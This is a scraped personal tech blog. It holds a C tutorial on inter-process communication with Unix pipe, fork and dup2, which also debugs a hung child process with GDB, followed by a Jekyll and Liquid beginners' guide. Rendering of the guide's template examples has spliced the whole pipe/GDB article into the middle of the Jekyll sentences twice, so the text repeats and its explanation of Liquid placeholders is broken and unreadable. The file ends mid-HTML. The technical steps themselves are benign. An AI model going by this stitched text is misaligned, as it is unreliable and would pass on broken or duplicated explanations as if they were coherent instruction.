      <li>modifies pipe for each process, so that the input/output is correctly redirected</li>
      <li>loads the pre-built programs to the processes</li>
      <li>prints the finish sentence</li>
    </ol>
    
    <p>The C file is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/first.c">here</a>.</p>
    
    <p>Compile and run the program (assuming you have <code class="language-plaintext highlighter-rouge">gcc</code> installed). Notice you may need to modify positions for <code class="language-plaintext highlighter-rouge">ls</code> and <code class="language-plaintext highlighter-rouge">sort</code> programs if the belowing positions do not work.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o first first.c
    ./first /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>Here is the output:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Run two programs succeeded!
    README.md                                                                                                                                                                            
    a.out
    first
    first.c
    </code></pre></div></div>
    
    <p>And this the output of pipe in terminal:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /usr/bin/sort 
    
    README.md
    a.out
    first
    first.c
    </code></pre></div></div>
    
    <p>We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.</p>
    
    <p>This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.</p>
    
    <p>To fix the problem, let’s move on to second version.</p>
    
    <h3 id="the-second-version">The second version</h3>
    
    <p>At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last <code class="language-plaintext highlighter-rouge">else</code> branch, so that the main program will print the finish sentence after child processes finish.</p>
    
    <p>The second version is at <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/second.c">here</a>. Notice the only difference is two additional lines (105-106).</p>
    
    <p>Compile and run:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o second second.c
    ./second /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>We will find the program <strong>never</strong> finishes!</p>
    
    <p>Instead of telling you why the program breaks, we will use GDB to find out the reason together.</p>
    
    <p>Compile the program again with debug information and use GDB to execute the program:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -g -O0 -o second second.c 
    gdb --args second /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>Before everything, let’s set <code class="language-plaintext highlighter-rouge">detach-on-fork</code> environment variable of GDB to off.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>set detach-on-fork off
    </code></pre></div></div>
    
    <p>By doint this, we could switch between processes easily. More details on this environment at <a href="https://sourceware.org/gdb/onlinedocs/gdb/Forks.html">here</a>.</p>
    
    <p>Now let’s set breakpoint at right before <code class="language-plaintext highlighter-rouge">waitpid</code> system call and run the program</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) br second.c:105
    Breakpoint 1 at 0x400b27: file second.c, line 105.
    (gdb) r
    ...
    Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
    105			waitpid(pid1, NULL, 0);
    </code></pre></div></div>
    
    <p>Now use <code class="language-plaintext highlighter-rouge">next</code> command of GDB to step through the functions.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) n
    106			waitpid(pid2, NULL, 0);
    (gdb) n
    </code></pre></div></div>
    
    <p>This means the first program finishes successfully, but the second one suspends and never returns!</p>
    
    <p>In order to figure out why the second program never returns, let’s run the program again, and use <code class="language-plaintext highlighter-rouge">catch</code>, <code class="language-plaintext highlighter-rouge">inferior</code> commands to go to that child process instead of the parent process.</p>
    
    <p>First, let GDB stops when a <code class="language-plaintext highlighter-rouge">fork</code> system call is called</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) catch fork
    Catchpoint 1 (fork)
    </code></pre></div></div>
    
    <p>Next, go to the fork statement at line 84.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) r
    Starting program: second /bin/ls /usr/bin/sort
    
    Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
    (gdb) c
    Continuing.
    [New process 6134]
    
    Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
    (gdb) finish
    Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    [New process 6147]
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $1 = 6147
    </code></pre></div></div>
    
    <p>Notice we meet two <code class="language-plaintext highlighter-rouge">fork</code> system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.</p>
    
    <p>GDB use the concept of <em>inferior</em> to refer to threads, processes etc. To see currently running processes, just run</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
      2    process 6134      second 
    * 1    process 6127      second
    </code></pre></div></div>
    
    <p>Notice both executable names of child processes are “second”. This means the <code class="language-plaintext highlighter-rouge">/bin/ls</code> and <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code> are not loaded yet. This is because by setting <code class="language-plaintext highlighter-rouge">detach-on-fork</code> off, the newly created processes will be suspended by default.</p>
    
    <p>Let’s switch to first program (inferior 2) and let it finish.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 2
    ...
    (gdb) c
    Continuing.
    process 6134 is executing new program: /bin/ls
    Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
    [Inferior 2 (process 6134) exited normally]
    </code></pre></div></div>
    
    <p>Now only two inferiors are left.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
    * 2    &lt;null&gt;            /bin/ls           
      1    process 6127      second 
    </code></pre></div></div>
    
    <p>The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 3
    ...
    (gdb) finish
    Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $2 = 0
    (gdb) n
    88		    	if (-1 == close(pipefd[1])) {
    (gdb) n
    94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
    (gdb) n
    98		    	run(program2);
    (gdb) n
    
    </code></pre></div></div>
    
    <p>The program seems stuck when executing <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code>. A guess is input file is never closed. Let’s check.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
    81	in ../sysdeps/unix/syscall-template.S
    (gdb) shell ls -l /proc/6147/fd
    total 0
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -&gt; pipe:[91298]
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -&gt; /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -&gt; pipe:[91298]
    </code></pre></div></div>
    
    <p>Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!</p>
    
    <p>Just to make sure our guess is correct, let’s examine open file descriptors in parent process.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 1
    [Switching to inferior 1 [process 6127] (second)]
    [Switching to thread 1 (process 6127)] 
    #0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    (gdb) c
    Continuing.
    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
    31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
    (gdb) shell ls -l /proc/6127/fd
    total 0
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -&gt; /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -&gt; pipe:[91298]
    l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -&gt; pipe:[91298]
    </code></pre></div></div>
    
    <p>And we know the pipe is indeed not closed in parent process. This leads us to third version.</p>
    
    <h3 id="the-third-version">The third version</h3>
    
    <p>In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.</p>
    
    <p>The third version is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/third.c">here</a>.</p>
    
    <p>Now let’s test the program again.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o third third.c 
    ./third /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>And here is the result on my machine,</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>README.md
    first.c
    second.c
    third
    third.c
    Run two programs succeeded!
    </code></pre></div></div>
    
    <p>which is the same as the result of terminal.</p>
    
    <h3 id="conclusion">Conclusion</h3>
    
    <p>In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.</p>
    
    <p>We learnt</p>
    
    <ul>
      <li>C and Unix skills
        <ul>
          <li>pipe</li>
          <li>fork</li>
          <li>waitpid</li>
          <li>dup</li>
        </ul>
      </li>
      <li>GDB skills
        <ul>
          <li>catch</li>
          <li>inferior</li>
        </ul>
      </li>
    </ul>
    
    
                    <hr>
    
                    <ul class="pager">
                        
                        <li class="previous">
                            <a href="/2016/04/20/concurrency-vs-parallelism/" data-toggle="tooltip" data-placement="top" title="Concurrency vs. Parallelism">&larr; Previous Post</a>
                        </li>
                        
                        
                        <li class="next">
                            <a href="/2017/02/10/blog-with-Jekyll-for-beginner/" data-toggle="tooltip" data-placement="top" title="Blog with Jekyll for beginners">Next Post &rarr;</a>
                        </li>
                        
                    </ul>
    
                    
                    <!-- disqus 评论框 start -->
                    <div class="comment">
                        <div id="disqus_thread" class="disqus-thread"></div>
                    </div>
                    <!-- disqus 评论框 end -->
                    
    
                </div>
    
        <!-- Sidebar Container -->
        <!--
                <div class="
                    col-lg-8 col-lg-offset-2
                    col-md-10 col-md-offset-1
                    sidebar-container" id="toc">
                </div>
        -->
            </div>
        </div>
    </article>
    
    
    <!-- disqus 公共JS代码 start (一个网页只需插入一次) -->
    <script type="text/javascript">
        /* * * CONFIGURATION VARIABLES * * */
        var disqus_shortname = "pufan-jiangs-blog";
        var disqus_identifier = "/2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB";
        var disqus_url = "http://otnt.github.io//2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB/";
    
        (function() {
            var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true;
            dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js';
            (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
        })();
    </script>
    <!-- disqus 公共JS代码 end -->
    
    
    	</article>
    </div>
    

    Now, stop reading and check out Liquid for designers to get a basic understanding of these curly brackets.

    If you did read the article, you should understand

    • `````` is nothing but a placeholder, Liquid will later replace variable foo with its actual value. For example, ```

    Inter-process communication using pipe and multiprocess debugging using GDB

    Posted on February 3, 2017 Updated on February 3, 2017

    In this article, we’ll walk through a simple example showing

    • how to use unix pipe for inter-process communication
    • how to debug a program of three processes using GDB


    Pre-requists

    • experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video Unix intro)
    • experience using GDB, know how to set breakpoints (checkout GDB tutorial)
    • c language readability (espicially fork, exec)
    • understand I/O redirect (checkout man dup)

    The problem

    The problem is to

    1. load two pre-built programs
    2. stream the output of the first program to the second one
    3. print the result of the second program
    4. print a finish sentence when both programs finish

    For example, we want to mimic the action of such bash command:

    /bin/ls | /bin/sort
    

    The first version

    Our very first version almost works, it

    1. sets up a pipe for later inter-process communication
    2. forks two processes
    3. modifies pipe for each process, so that the input/output is correctly redirected
    4. loads the pre-built programs to the processes
    5. prints the finish sentence

    The C file is here.

    Compile and run the program (assuming you have gcc installed). Notice you may need to modify positions for ls and sort programs if the belowing positions do not work.

    gcc -o first first.c
    ./first /bin/ls /usr/bin/sort
    

    Here is the output:

    Run two programs succeeded!
    README.md                                                                                                                                                                            
    a.out
    first
    first.c
    

    And this the output of pipe in terminal:

    /bin/ls | /usr/bin/sort 
    
    README.md
    a.out
    first
    first.c
    

    We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.

    This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.

    To fix the problem, let’s move on to second version.

    The second version

    At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last else branch, so that the main program will print the finish sentence after child processes finish.

    The second version is at here. Notice the only difference is two additional lines (105-106).

    Compile and run:

    gcc -o second second.c
    ./second /bin/ls /usr/bin/sort
    

    We will find the program never finishes!

    Instead of telling you why the program breaks, we will use GDB to find out the reason together.

    Compile the program again with debug information and use GDB to execute the program:

    gcc -g -O0 -o second second.c 
    gdb --args second /bin/ls /usr/bin/sort
    

    Before everything, let’s set detach-on-fork environment variable of GDB to off.

    set detach-on-fork off
    

    By doint this, we could switch between processes easily. More details on this environment at here.

    Now let’s set breakpoint at right before waitpid system call and run the program

    (gdb) br second.c:105
    Breakpoint 1 at 0x400b27: file second.c, line 105.
    (gdb) r
    ...
    Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
    105			waitpid(pid1, NULL, 0);
    

    Now use next command of GDB to step through the functions.

    (gdb) n
    106			waitpid(pid2, NULL, 0);
    (gdb) n
    

    This means the first program finishes successfully, but the second one suspends and never returns!

    In order to figure out why the second program never returns, let’s run the program again, and use catch, inferior commands to go to that child process instead of the parent process.

    First, let GDB stops when a fork system call is called

    (gdb) catch fork
    Catchpoint 1 (fork)
    

    Next, go to the fork statement at line 84.

    (gdb) r
    Starting program: second /bin/ls /usr/bin/sort
    
    Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
    (gdb) c
    Continuing.
    [New process 6134]
    
    Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
    (gdb) finish
    Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    [New process 6147]
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $1 = 6147
    

    Notice we meet two fork system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.

    GDB use the concept of inferior to refer to threads, processes etc. To see currently running processes, just run

    (gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
      2    process 6134      second 
    * 1    process 6127      second
    

    Notice both executable names of child processes are “second”. This means the /bin/ls and /usr/bin/sort are not loaded yet. This is because by setting detach-on-fork off, the newly created processes will be suspended by default.

    Let’s switch to first program (inferior 2) and let it finish.

    (gdb) inferior 2
    ...
    (gdb) c
    Continuing.
    process 6134 is executing new program: /bin/ls
    Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
    [Inferior 2 (process 6134) exited normally]
    

    Now only two inferiors are left.

    (gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
    * 2    <null>            /bin/ls           
      1    process 6127      second 
    

    The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.

    (gdb) inferior 3
    ...
    (gdb) finish
    Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $2 = 0
    (gdb) n
    88		    	if (-1 == close(pipefd[1])) {
    (gdb) n
    94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
    (gdb) n
    98		    	run(program2);
    (gdb) n
    
    

    The program seems stuck when executing /usr/bin/sort. A guess is input file is never closed. Let’s check.

    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
    81	in ../sysdeps/unix/syscall-template.S
    (gdb) shell ls -l /proc/6147/fd
    total 0
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -> pipe:[91298]
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -> /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -> /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -> pipe:[91298]
    

    Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!

    Just to make sure our guess is correct, let’s examine open file descriptors in parent process.

    (gdb) inferior 1
    [Switching to inferior 1 [process 6127] (second)]
    [Switching to thread 1 (process 6127)] 
    #0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    (gdb) c
    Continuing.
    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
    31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
    (gdb) shell ls -l /proc/6127/fd
    total 0
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -> /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -> /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -> /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -> pipe:[91298]
    l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -> pipe:[91298]
    

    And we know the pipe is indeed not closed in parent process. This leads us to third version.

    The third version

    In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.

    The third version is here.

    Now let’s test the program again.

    gcc -o third third.c 
    ./third /bin/ls /usr/bin/sort
    

    And here is the result on my machine,

    README.md
    first.c
    second.c
    third
    third.c
    Run two programs succeeded!
    

    which is the same as the result of terminal.

    Conclusion

    In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.

    We learnt

    • C and Unix skills
      • pipe
      • fork
      • waitpid
      • dup
    • GDB skills
      • catch
      • inferior

    ``` is a variable created by Jekyll, whose value is the actual blog content you composed.

    • In``````, the | is just like Unix pipe supporting casacading operations.
    • In ``````, the : v1, v2 is the input arguments for filter bar.

    Now you may have two questions:

    • The HTML file is incomplete, for example <!DOCTYPE html> etc. are missing,
    • The first three lines of post.html is mistery,

    so let’s move on.

    The complete layout

    At this point, you may be wondering what the heck is that on top of the file:

    ---
    layout: default
    ---
    

    Jekyll use YAML to manage meta data of your web pages. This layout: default tells Jekyll to search for default.html in directory _layout, and then **replace the placeholder ```

    Inter-process communication using pipe and multiprocess debugging using GDB

    Posted on February 3, 2017 Updated on February 3, 2017

    In this article, we’ll walk through a simple example showing

    • how to use unix pipe for inter-process communication
    • how to debug a program of three processes using GDB


    Pre-requists

    • experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video Unix intro)
    • experience using GDB, know how to set breakpoints (checkout GDB tutorial)
    • c language readability (espicially fork, exec)
    • understand I/O redirect (checkout man dup)

    The problem

    The problem is to

    1. load two pre-built programs
    2. stream the output of the first program to the second one
    3. print the result of the second program
    4. print a finish sentence when both programs finish

    For example, we want to mimic the action of such bash command:

    /bin/ls | /bin/sort
    

    The first version

    Our very first version almost works, it

    1. sets up a pipe for later inter-process communication
    2. forks two processes
    3. modifies pipe for each process, so that the input/output is correctly redirected
    4. loads the pre-built programs to the processes
    5. prints the finish sentence

    The C file is here.

    Compile and run the program (assuming you have gcc installed). Notice you may need to modify positions for ls and sort programs if the belowing positions do not work.

    gcc -o first first.c
    ./first /bin/ls /usr/bin/sort
    

    Here is the output:

    Run two programs succeeded!
    README.md                                                                                                                                                                            
    a.out
    first
    first.c
    

    And this the output of pipe in terminal:

    /bin/ls | /usr/bin/sort 
    
    README.md
    a.out
    first
    first.c
    

    We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.

    This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.

    To fix the problem, let’s move on to second version.

    The second version

    At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last else branch, so that the main program will print the finish sentence after child processes finish.

    The second version is at here. Notice the only difference is two additional lines (105-106).

    Compile and run:

    gcc -o second second.c
    ./second /bin/ls /usr/bin/sort
    

    We will find the program never finishes!

    Instead of telling you why the program breaks, we will use GDB to find out the reason together.

    Compile the program again with debug information and use GDB to execute the program:

    gcc -g -O0 -o second second.c 
    gdb --args second /bin/ls /usr/bin/sort
    

    Before everything, let’s set detach-on-fork environment variable of GDB to off.

    set detach-on-fork off
    

    By doint this, we could switch between processes easily. More details on this environment at here.

    Now let’s set breakpoint at right before waitpid system call and run the program

    (gdb) br second.c:105
    Breakpoint 1 at 0x400b27: file second.c, line 105.
    (gdb) r
    ...
    Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
    105			waitpid(pid1, NULL, 0);
    

    Now use next command of GDB to step through the functions.

    (gdb) n
    106			waitpid(pid2, NULL, 0);
    (gdb) n
    

    This means the first program finishes successfully, but the second one suspends and never returns!

    In order to figure out why the second program never returns, let’s run the program again, and use catch, inferior commands to go to that child process instead of the parent process.

    First, let GDB stops when a fork system call is called

    (gdb) catch fork
    Catchpoint 1 (fork)
    

    Next, go to the fork statement at line 84.

    (gdb) r
    Starting program: second /bin/ls /usr/bin/sort
    
    Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
    (gdb) c
    Continuing.
    [New process 6134]
    
    Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
    (gdb) finish
    Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    [New process 6147]
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $1 = 6147
    

    Notice we meet two fork system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.

    GDB use the concept of inferior to refer to threads, processes etc. To see currently running processes, just run

    (gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
      2    process 6134      second 
    * 1    process 6127      second
    

    Notice both executable names of child processes are “second”. This means the /bin/ls and /usr/bin/sort are not loaded yet. This is because by setting detach-on-fork off, the newly created processes will be suspended by default.

    Let’s switch to first program (inferior 2) and let it finish.

    (gdb) inferior 2
    ...
    (gdb) c
    Continuing.
    process 6134 is executing new program: /bin/ls
    Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
    [Inferior 2 (process 6134) exited normally]
    

    Now only two inferiors are left.

    (gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
    * 2    <null>            /bin/ls           
      1    process 6127      second 
    

    The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.

    (gdb) inferior 3
    ...
    (gdb) finish
    Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $2 = 0
    (gdb) n
    88		    	if (-1 == close(pipefd[1])) {
    (gdb) n
    94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
    (gdb) n
    98		    	run(program2);
    (gdb) n
    
    

    The program seems stuck when executing /usr/bin/sort. A guess is input file is never closed. Let’s check.

    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
    81	in ../sysdeps/unix/syscall-template.S
    (gdb) shell ls -l /proc/6147/fd
    total 0
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -> pipe:[91298]
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -> /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -> /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -> pipe:[91298]
    

    Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!

    Just to make sure our guess is correct, let’s examine open file descriptors in parent process.

    (gdb) inferior 1
    [Switching to inferior 1 [process 6127] (second)]
    [Switching to thread 1 (process 6127)] 
    #0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    (gdb) c
    Continuing.
    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
    31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
    (gdb) shell ls -l /proc/6127/fd
    total 0
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -> /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -> /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -> /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -> pipe:[91298]
    l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -> pipe:[91298]
    

    And we know the pipe is indeed not closed in parent process. This leads us to third version.

    The third version

    In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.

    The third version is here.

    Now let’s test the program again.

    gcc -o third third.c 
    ./third /bin/ls /usr/bin/sort
    

    And here is the result on my machine,

    README.md
    first.c
    second.c
    third
    third.c
    Run two programs succeeded!
    

    which is the same as the result of terminal.

    Conclusion

    In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.

    We learnt

    • C and Unix skills
      • pipe
      • fork
      • waitpid
      • dup
    • GDB skills
      • catch
      • inferior

    indefault.htmlwith the whole content of this file(post.html```)**. By doing this, Jekyll enable us to define layout in a hierarchical way.

    Now let’s create file _layout/default.html with following content:

    <!DOCTYPE html>
    <html>
    	<head>
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="google-site-verification" content="_PHrOvQDUqLMAglWM9iHO4lKA58bCnzrXyGN827Naak" />
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <meta name="description" content="Pufan Jiang's personal blog.">
        <meta name="keyword"  content="tech | software">
        <link rel="shortcut icon" href="img/favicon.ico">
    
        <title>Blog with Jekyll for beginners - Pufan Jiang | 江浦饭</title>
    
        <link rel="canonical" href="http://otnt.github.io//2017/02/10/blog-with-Jekyll-for-beginner/">
    
        <!-- Bootstrap Core CSS -->
        <link rel="stylesheet" href="/css/bootstrap.min.css">
    
        <!-- Custom CSS -->
        <!--<link rel="stylesheet" href="/css/hux-blog.min.css">-->
        <link rel="stylesheet" href="/css/pufanjiang-blog.css">
    
        <!-- Pygments Github CSS -->
        <link rel="stylesheet" href="/css/syntax.css">
    
        <!-- Custom Fonts -->
        <!-- <link href="http://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css" rel="stylesheet" type="text/css"> -->
        <!-- Hux change font-awesome CDN to qiniu -->
        <link href="http://cdn.staticfile.org/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet" type="text/css">
    </head>
    
    	<body>
    		<!-- Post Header -->
    <header class="intro-header" >
        <div class="container">
            <div class="row">
                <div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
                    <div class="post-heading">
                        <div class="tags">
                            
                            <a class="tag" href="/tags/#c" title="c">c</a>
                            
                            <a class="tag" href="/tags/#unix" title="unix">unix</a>
                            
